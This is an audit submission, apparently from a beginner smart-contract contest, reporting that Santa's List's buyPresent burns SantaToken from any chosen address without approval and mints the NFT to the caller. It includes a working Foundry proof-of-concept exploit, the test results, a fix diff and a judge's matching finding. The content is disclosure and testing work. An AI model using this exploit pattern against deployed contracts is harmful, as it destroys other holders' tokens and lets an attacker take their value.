Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

buyPresent burns SantaToken from a caller-chosen presentReceiver with no allowance check and mints the NFT to msg.sender, so anyone can destroy any holder's SantaToken and receive a free NFT

Root + Impact

Description

  • buyPresent is the documented way for a SantaToken holder to spend their own tokens on an NFT. Its NatSpec says "You'll first need to approve the SantasList contract to spend your SantaTokens" and that it "should only be callable by anyone with SantaTokens". The README describes it as a trade of the caller's SantaToken for an NFT. SantaToken.burn is restricted to the SantasList contract so that tokens can only be spent through this flow.

  • buyPresent passes the caller-supplied presentReceiver straight to SantaToken.burn. burn only checks that its caller is SantasList, which is always true on this path, and then burns 1e18 from that address. Nothing reads an allowance: not SantasList, not SantaToken, and not the inherited _burn, which only does balanceOf[from] -= amount. The NFT is then minted to msg.sender. As a result, any address can call buyPresent(victim) with zero SantaToken and no approval. The victim loses 1e18 SantaToken and the caller receives the NFT.

// src/SantasList.sol, lines 172-175
function buyPresent(address presentReceiver) external {
@> i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}
​
// src/SantasList.sol, lines 180-182
function _mintAndIncrement() private {
@> _safeMint(msg.sender, s_tokenCounter++);
}
​
// src/SantaToken.sol, lines 28-33
function burn(address from) external {
if (msg.sender != i_santasList) {
revert SantaToken__NotSantasList();
}
@> _burn(from, 1e18);
}

Risk

Likelihood:

  • Anyone can call buyPresent at any time. It has no modifier, no caller check and no allowance check, and the attacker needs nothing but gas.

  • Victims exist in normal operation. Every EXTRA_NICE user receives 1e18 SantaToken when they call collectPresent, and holders can be listed from the token's Transfer events.

Impact:

  • Any holder's SantaToken is destroyed without consent, 1e18 per call, until the balance falls below 1e18. This token is the EXTRA_NICE reward and the only currency for buying presents. In the PoC, two calls take the entire SantaToken supply to zero, after which the victims can no longer use their reward.

  • The attacker receives the NFT that the victim's tokens paid for, at no token cost. The documented gifting flow, where a holder pays and a token-less friend is named, also reverts, because the burn targets the friend.

Proof of Concept

setUp deploys SantasList as Santa (SantasList deploys SantaToken itself). Santa checks alice and bob EXTRA_NICE twice, the test warps past CHRISTMAS_2023_BLOCK_TIME, and both collect, which gives each 1 NFT and 1e18 SantaToken. mallory holds no SantaToken, and nobody has approved anybody.

  • test_SL01_anyoneBurnsVictimTokensAndGetsFreeNft: mallory calls buyPresent(alice). Afterwards alice's SantaToken balance is 0, alice still has exactly 1 NFT, mallory owns token id 2, and mallory still holds 0 SantaToken.

  • test_SL01_sweepAllHoldersAndVictimLockedOut: buyPresent(alice) and buyPresent(bob) take the total SantaToken supply to 0, and mallory holds 2 NFTs. alice's own buyPresent(alice) then reverts.

  • test_SL01_honestGiftingToFriendReverts: alice approves SantasList as the NatSpec instructs and calls buyPresent(friend) for a friend with no tokens. The call reverts on the checked underflow in _burn, so alice keeps her tokens and the friend gets nothing.

File test/PoC_SL-01.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
import {Test, console2} from "forge-std/Test.sol";
import {SantasList} from "../src/SantasList.sol";
import {SantaToken} from "../src/SantaToken.sol";
​
contract PoC_SL01 is Test {
SantasList internal santasList;
SantaToken internal santaToken;
​
address internal santa = makeAddr("santa");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
address internal mallory = makeAddr("mallory");
address internal friend = makeAddr("friend");
​
function setUp() public {
vm.prank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
​
// Santa marks alice and bob EXTRA_NICE through the intended two-step flow.
vm.startPrank(santa);
santasList.checkList(alice, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(alice, SantasList.Status.EXTRA_NICE);
santasList.checkList(bob, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(bob, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.prank(alice);
santasList.collectPresent();
vm.prank(bob);
santasList.collectPresent();
}
​
/// Baseline: after collecting, each EXTRA_NICE user holds 1 NFT and 1e18 SantaToken.
/// Mallory holds nothing and nobody has approved anybody.
function test_baseline_holdersAfterCollect() public {
assertEq(santasList.balanceOf(alice), 1);
assertEq(santaToken.balanceOf(alice), 1e18);
assertEq(santasList.balanceOf(bob), 1);
assertEq(santaToken.balanceOf(bob), 1e18);
assertEq(santaToken.balanceOf(mallory), 0);
assertEq(santasList.balanceOf(mallory), 0);
assertEq(santaToken.allowance(alice, address(santasList)), 0);
assertEq(santaToken.allowance(alice, mallory), 0);
assertEq(santaToken.totalSupply(), 2e18);
}
​
/// Limbs 1+2: mallory (0 SantaToken, no approval) burns alice's token and receives the NFT.
function test_SL01_anyoneBurnsVictimTokensAndGetsFreeNft() public {
assertEq(santaToken.balanceOf(mallory), 0, "mallory starts with no SantaToken");
assertEq(santaToken.allowance(alice, address(santasList)), 0, "alice never approved SantasList");
assertEq(santaToken.allowance(alice, mallory), 0, "alice never approved mallory");
​
vm.prank(mallory);
santasList.buyPresent(alice);
​
console2.log("alice SantaToken after mallory's buyPresent(alice):", santaToken.balanceOf(alice));
console2.log("alice NFT balance:", santasList.balanceOf(alice));
console2.log("mallory SantaToken:", santaToken.balanceOf(mallory));
console2.log("mallory NFT balance:", santasList.balanceOf(mallory));
​
// Victim's tokens destroyed without consent.
assertEq(santaToken.balanceOf(alice), 0, "alice's 1e18 burned without approval");
assertEq(santaToken.totalSupply(), 1e18, "supply reduced by the burn");
// Victim received nothing for it.
assertEq(santasList.balanceOf(alice), 1, "alice got no extra NFT");
// Attacker received the NFT the victim's tokens paid for, spending nothing.
assertEq(santasList.balanceOf(mallory), 1, "mallory got a free NFT");
assertEq(santasList.ownerOf(2), mallory, "token id 2 minted to mallory");
assertEq(santaToken.balanceOf(mallory), 0, "mallory spent no SantaToken");
}
​
/// Limb 3: sweep every holder; afterwards the victims can no longer use buyPresent themselves.
function test_SL01_sweepAllHoldersAndVictimLockedOut() public {
vm.startPrank(mallory);
santasList.buyPresent(alice);
santasList.buyPresent(bob);
vm.stopPrank();
​
console2.log("total SantaToken supply after sweep:", santaToken.totalSupply());
console2.log("mallory NFTs after sweep:", santasList.balanceOf(mallory));
​
assertEq(santaToken.totalSupply(), 0, "entire SantaToken supply destroyed");
assertEq(santaToken.balanceOf(alice), 0);
assertEq(santaToken.balanceOf(bob), 0);
assertEq(santasList.balanceOf(mallory), 2, "mallory minted two free NFTs");
​
// Alice can no longer spend the reward she was given: her balance is gone.
vm.prank(alice);
vm.expectRevert(); // checked underflow in _burn
santasList.buyPresent(alice);
}
​
/// Limb 4: the documented flow (holder pays to gift a friend with no tokens) does not work;
/// burning targets the receiver, so honest gifting reverts while alice keeps her tokens.
function test_SL01_honestGiftingToFriendReverts() public {
vm.prank(alice);
santaToken.approve(address(santasList), type(uint256).max); // follow the NatSpec
​
vm.prank(alice);
vm.expectRevert(); // burn(friend) underflows: friend has 0 SantaToken
santasList.buyPresent(friend);
​
assertEq(santaToken.balanceOf(alice), 1e18, "alice's tokens were not spent");
assertEq(santasList.balanceOf(friend), 0, "friend got nothing");
}
}

Run from the repository root:

FOUNDRY_FFI=false FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-path test/PoC_SL-01.t.sol -vv

Result:

Ran 4 tests for test/PoC_SL-01.t.sol:PoC_SL01
[PASS] test_SL01_anyoneBurnsVictimTokensAndGetsFreeNft() (gas: 119634)
Logs:
alice SantaToken after mallory's buyPresent(alice): 0
alice NFT balance: 1
mallory SantaToken: 0
mallory NFT balance: 1
​
[PASS] test_SL01_honestGiftingToFriendReverts() (gas: 56441)
[PASS] test_SL01_sweepAllHoldersAndVictimLockedOut() (gas: 125987)
Logs:
total SantaToken supply after sweep: 0
mallory NFTs after sweep: 2
​
[PASS] test_baseline_holdersAfterCollect() (gas: 50921)
Suite result: ok. 4 passed; 0 failed; 0 skipped

Recommended Mitigation

Burn from the caller, who is the party paying for the present. This change alone does not fix the price or the NFT recipient. Those are separate defects on other lines (SantaToken.burn hardcodes 1e18, and _mintAndIncrement mints to msg.sender), and each is reported separately.

function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ i_santaToken.burn(msg.sender);
_mintAndIncrement();
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] SantasList::buyPresent burns token from presentReceiver instead of caller and also sends present to caller instead of presentReceiver.

## Description The `buyPresent` function sends the present to the `caller` of the function but burns token from `presentReceiver` but the correct method should be the opposite of it. Due to this implementation of the function, malicious caller can mint NFT by burning the balance of other users by passing any arbitrary address for the `presentReceiver` field and tokens will be deducted from the `presentReceiver` and NFT will be minted to the malicious caller. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. `buyPresent` function should send the present (NFT) to the `presentReceiver` and should burn the SantaToken from the caller i.e. `msg.sender`. ## Vulnerability Details The vulnerability lies inside the SantasList contract inside the `buyPresent` function starting from line 172. The buyPresent function takes in `presentReceiver` as an argument and burns the balance from `presentReceiver` instead of the caller i.e. `msg.sender`, as a result of which an attacker can specify any address for the `presentReceiver` that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will get the NFT while burning the SantasToken balance of the address specified in `presentReceiver`. This vulnerability occurs due to wrong implementation of the buyPresent function instead of minting NFT to presentReceiver it is minted to caller as well as the tokens are burnt from presentReceiver instead of burning them from `msg.sender`. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. ```cpp /* * @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens. * @dev You'll first need to approve the SantasList contract to spend your SantaTokens. */ function buyPresent(address presentReceiver) external { @> i_santaToken.burn(presentReceiver); @> _mintAndIncrement(); } ``` ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol` Run the test: ```cpp forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers ``` ```cpp function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public { // address of the attacker address attacker = makeAddr("attacker"); vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); assertEq(santaToken.balanceOf(user), 1e18); uint256 attackerInitNftBalance = santasList.balanceOf(attacker); // attacker get themselves the present by passing presentReceiver as user and burns user's SantaToken vm.prank(attacker); santasList.buyPresent(user); // user balance is decremented assertEq(santaToken.balanceOf(user), 0); assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1); } ``` ## Impact - Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the `presentReceiver` argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to `SantasList` contract, because directly `_burn` function is called directly by the `burn` function and both of them don't check for approval. - Attacker can burn the balance of everyone and mint a large number of NFT for themselves. ## Recommendations - Burn the SantaToken from the caller i.e., `msg.sender` - Mint NFT to the `presentReceiver` ```diff + function _mintAndIncrementToUser(address user) private { + _safeMint(user, s_tokenCounter++); + } function buyPresent(address presentReceiver) external { - i_santaToken.burn(presentReceiver); - _mintAndIncrement(); + i_santaToken.burn(msg.sender); + _mintAndIncrementToUser(presentReceiver); } ``` By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!